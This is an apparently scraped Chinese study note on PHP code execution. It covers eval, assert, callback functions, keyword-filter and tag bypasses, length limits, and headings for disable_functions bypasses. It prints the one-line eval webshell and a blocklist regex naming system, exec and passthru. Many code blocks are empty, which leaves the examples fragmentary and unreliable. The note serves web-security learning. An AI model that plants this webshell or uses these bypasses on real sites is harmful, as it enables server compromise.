简单代码执行的学习
常见函数
eval()
eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:
<?php eval($_POST[cmd])?>
assert()
与eval类
1 |
|
call_user_func()/call_user_func_array ()
call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
1 |
|
动态函数
1 |
|
array_walk()和array_walk_recursive()
array_walk — 使用用户自定义函数对数组中的每个元素做回调处理
1 | function myfunction($value,$key) { |
1 | 键 a 的值是 red 。 |
array_walk_recursive — 对数组中的每个成员递归地应用用户函数
1 | function myfunction($value,$key) { |
1 | 键 a 的值是 red 。 |
常见防护
字符过滤型
关键字符: < ? ; ()
被过滤后 难度较高
如果只是过滤函数名字 绕过方法较多
1 | if(!preg_match("/system|func|array|preg|eval|exec|passthru/i",$code)){ |
过滤<?>
的标签替代
1 | echo "123"; //short_open_tags=on |
长度限制型
1 | $_GET[1]`; // 长度13的限制 ` |
函数禁用型
disable_functions
0x01 LD_PRELOAD
…
0x02 Apache Mod CGI
…
0x03 PHP-FPM
…
构造绕过型
…
异或构造
…
或构造
…
取反构造
…
自增构造
…